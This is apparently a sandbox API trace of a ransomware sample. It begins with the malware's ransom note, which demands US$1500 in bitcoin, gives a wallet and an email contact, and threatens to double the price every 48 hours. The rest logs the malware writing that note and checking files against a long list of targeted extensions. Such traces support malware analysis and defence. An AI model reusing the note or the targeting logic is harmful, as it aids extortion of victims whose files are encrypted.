ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0111.845] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0111.846] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0111.846] CloseHandle (hObject=0x90) returned 1 [0111.846] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\", lpString2="mscorlib.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll" [0111.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.ems") returned 0 [0111.846] lstrlenA (lpString="*.ems") returned 5 [0111.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.db") returned 0 [0111.847] lstrlenA (lpString="*.db") returned 4 [0111.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.dbf") returned 0 [0111.847] lstrlenA (lpString="*.dbf") returned 5 [0111.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.myox") returned 0 [0111.847] lstrlenA (lpString="*.myox") returned 6 [0111.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.myo") returned 0 [0111.847] lstrlenA (lpString="*.myo") returned 5 [0111.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.qbw") returned 0 [0111.847] lstrlenA (lpString="*.qbw") returned 5 [0111.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.qbb") returned 0 [0111.847] lstrlenA (lpString="*.qbb") returned 5 [0111.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.qbm") returned 0 [0111.847] lstrlenA (lpString="*.qbm") returned 5 [0111.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.qbo") returned 0 [0111.847] lstrlenA (lpString="*.qbo") returned 5 [0111.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.qbx") returned 0 [0111.847] lstrlenA (lpString="*.qbx") returned 5 [0111.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.qba") returned 0 [0111.847] lstrlenA (lpString="*.qba") returned 5 [0111.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.qby") returned 0 [0111.847] lstrlenA (lpString="*.qby") returned 5 [0111.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.qbj") returned 0 [0111.847] lstrlenA (lpString="*.qbj") returned 5 [0111.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.ofx") returned 0 [0111.847] lstrlenA (lpString="*.ofx") returned 5 [0111.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.qif") returned 0 [0111.848] lstrlenA (lpString="*.qif") returned 5 [0111.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.mye") returned 0 [0111.848] lstrlenA (lpString="*.mye") returned 5 [0111.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.mbox") returned 0 [0111.848] lstrlenA (lpString="*.mbox") returned 6 [0111.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.eml") returned 0 [0111.848] lstrlenA (lpString="*.eml") returned 5 [0111.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.pst") returned 0 [0111.848] lstrlenA (lpString="*.pst") returned 5 [0111.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.ost") returned 0 [0111.848] lstrlenA (lpString="*.ost") returned 5 [0111.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.idx") returned 0 [0111.848] lstrlenA (lpString="*.idx") returned 5 [0111.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.dbx") returned 0 [0111.848] lstrlenA (lpString="*.dbx") returned 5 [0111.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.sql") returned 0 [0111.848] lstrlenA (lpString="*.sql") returned 5 [0111.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.mdb") returned 0 [0111.848] lstrlenA (lpString="*.mdb") returned 5 [0111.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.fdb") returned 0 [0111.848] lstrlenA (lpString="*.fdb") returned 5 [0111.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.wab") returned 0 [0111.848] lstrlenA (lpString="*.wab") returned 5 [0111.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.dat") returned 0 [0111.848] lstrlenA (lpString="*.dat") returned 5 [0111.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.txt") returned 0 [0111.848] lstrlenA (lpString="*.txt") returned 5 [0111.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.jpeg") returned 0 [0111.849] lstrlenA (lpString="*.jpeg") returned 6 [0111.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.jpg") returned 0 [0111.849] lstrlenA (lpString="*.jpg") returned 5 [0111.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.png") returned 0 [0111.849] lstrlenA (lpString="*.png") returned 5 [0111.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.php") returned 0 [0111.849] lstrlenA (lpString="*.php") returned 5 [0111.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.cs") returned 0 [0111.850] lstrlenA (lpString="*.cs") returned 4 [0111.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.cpp") returned 0 [0111.850] lstrlenA (lpString="*.cpp") returned 5 [0111.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.rar") returned 0 [0111.850] lstrlenA (lpString="*.rar") returned 5 [0111.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.zip") returned 0 [0111.850] lstrlenA (lpString="*.zip") returned 5 [0111.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.html") returned 0 [0111.850] lstrlenA (lpString="*.html") returned 6 [0111.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.htm") returned 0 [0111.850] lstrlenA (lpString="*.htm") returned 5 [0111.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.xlsx") returned 0 [0111.850] lstrlenA (lpString="*.xlsx") returned 6 [0111.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.xls") returned 0 [0111.850] lstrlenA (lpString="*.xls") returned 5 [0111.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.mp4") returned 0 [0111.850] lstrlenA (lpString="*.mp4") returned 5 [0111.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.ppt") returned 0 [0111.850] lstrlenA (lpString="*.ppt") returned 5 [0111.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.pptx") returned 0 [0111.850] lstrlenA (lpString="*.pptx") returned 6 [0111.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.doc") returned 0 [0111.850] lstrlenA (lpString="*.doc") returned 5 [0111.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.dot") returned 0 [0111.851] lstrlenA (lpString="*.dot") returned 5 [0111.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.docx") returned 0 [0111.851] lstrlenA (lpString="*.docx") returned 6 [0111.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.7z") returned 0 [0111.851] lstrlenA (lpString="*.7z") returned 4 [0111.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.tar") returned 0 [0111.851] lstrlenA (lpString="*.tar") returned 5 [0111.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.bz2") returned 0 [0111.851] lstrlenA (lpString="*.bz2") returned 5 [0111.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.gz") returned 0 [0111.851] lstrlenA (lpString="*.gz") returned 4 [0111.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.mkv") returned 0 [0111.851] lstrlenA (lpString="*.mkv") returned 5 [0111.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.eml") returned 0 [0111.851] lstrlenA (lpString="*.eml") returned 5 [0111.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.msg") returned 0 [0111.851] lstrlenA (lpString="*.msg") returned 5 [0111.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.edb") returned 0 [0111.851] lstrlenA (lpString="*.edb") returned 5 [0111.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.accdb") returned 0 [0111.851] lstrlenA (lpString="*.accdb") returned 7 [0111.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.odb") returned 0 [0111.851] lstrlenA (lpString="*.odb") returned 5 [0111.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.java") returned 0 [0111.852] lstrlenA (lpString="*.java") returned 6 [0111.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.asm") returned 0 [0111.852] lstrlenA (lpString="*.asm") returned 5 [0111.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.pfx") returned 0 [0111.852] lstrlenA (lpString="*.pfx") returned 5 [0111.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.pem") returned 0 [0111.852] lstrlenA (lpString="*.pem") returned 5 [0111.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.p12") returned 0 [0111.852] lstrlenA (lpString="*.p12") returned 5 [0111.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.gpg") returned 0 [0111.852] lstrlenA (lpString="*.gpg") returned 5 [0111.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.vsd") returned 0 [0111.852] lstrlenA (lpString="*.vsd") returned 5 [0111.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.odg") returned 0 [0111.852] lstrlenA (lpString="*.odg") returned 5 [0111.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.raw") returned 0 [0111.852] lstrlenA (lpString="*.raw") returned 5 [0111.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.nef") returned 0 [0111.852] lstrlenA (lpString="*.nef") returned 5 [0111.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.svg") returned 0 [0111.852] lstrlenA (lpString="*.svg") returned 5 [0111.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.psd") returned 0 [0111.852] lstrlenA (lpString="*.psd") returned 5 [0111.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.vmx") returned 0 [0111.853] lstrlenA (lpString="*.vmx") returned 5 [0111.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.vmdk") returned 0 [0111.853] lstrlenA (lpString="*.vmdk") returned 6 [0111.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.vdi") returned 0 [0111.853] lstrlenA (lpString="*.vdi") returned 5 [0111.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.lay6") returned 0 [0111.853] lstrlenA (lpString="*.lay6") returned 6 [0111.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.mpeg") returned 0 [0111.853] lstrlenA (lpString="*.mpeg") returned 6 [0111.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.djvu") returned 0 [0111.853] lstrlenA (lpString="*.djvu") returned 6 [0111.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.tiff") returned 0 [0111.853] lstrlenA (lpString="*.tiff") returned 6 [0111.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.backup") returned 0 [0111.853] lstrlenA (lpString="*.backup") returned 8 [0111.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.pdf") returned 0 [0111.853] lstrlenA (lpString="*.pdf") returned 5 [0111.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.cert") returned 0 [0111.853] lstrlenA (lpString="*.cert") returned 6 [0111.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.docm") returned 0 [0111.853] lstrlenA (lpString="*.docm") returned 6 [0111.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.xlsm") returned 0 [0111.853] lstrlenA (lpString="*.xlsm") returned 6 [0111.854] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.dwg") returned 0 [0111.854] lstrlenA (lpString="*.dwg") returned 5 [0111.854] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.nd") returned 0 [0111.854] lstrlenA (lpString="*.nd") returned 4 [0111.854] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.tlg") returned 0 [0111.854] lstrlenA (lpString="*.tlg") returned 5 [0111.854] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.lgb") returned 0 [0111.854] lstrlenA (lpString="*.lgb") returned 5 [0111.854] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.mov") returned 0 [0111.854] lstrlenA (lpString="*.mov") returned 5 [0111.854] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.xdw") returned 0 [0111.854] lstrlenA (lpString="*.xdw") returned 5 [0111.854] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.ods") returned 0 [0111.854] lstrlenA (lpString="*.ods") returned 5 [0111.854] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.wav") returned 0 [0111.854] lstrlenA (lpString="*.wav") returned 5 [0111.854] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.mp3") returned 0 [0111.854] lstrlenA (lpString="*.mp3") returned 5 [0111.854] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.aiff") returned 0 [0111.854] lstrlenA (lpString="*.aiff") returned 6 [0111.854] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.flac") returned 0 [0111.854] lstrlenA (lpString="*.flac") returned 6 [0111.854] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.m4a") returned 0 [0111.854] lstrlenA (lpString="*.m4a") returned 5 [0111.855] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll", pszSpec="*.csv") returned 0 [0111.855] lstrlenA (lpString="*.csv") returned 5 [0111.855] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2446111c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x2446111c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x2460403f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xed8e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="mscorlib.ni.dll", cAlternateFileName="MSCORL~1.DLL")) returned 0 [0111.855] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0111.855] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24aa0ae7, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x24aa0ae7, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x24aa0ae7, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9469491f37d9c35b596968b206615309", cAlternateFileName="946949~1")) returned 0 [0111.855] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0111.855] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd380767, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdd380767, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdd380767, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x73006d, dwReserved1=0x6f0063, cFileName="napcrypt", cAlternateFileName="")) returned 1 [0111.861] lstrcmpA (lpString1=".", lpString2="napcrypt") returned -1 [0111.862] lstrcmpA (lpString1="..", lpString2="napcrypt") returned -1 [0111.862] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0111.862] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="napcrypt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt" [0111.862] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt") returned 55 [0111.862] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd380767, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdd380767, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdd380767, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0111.862] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.862] FindNextFileA (in: hFindFile=0x502598, 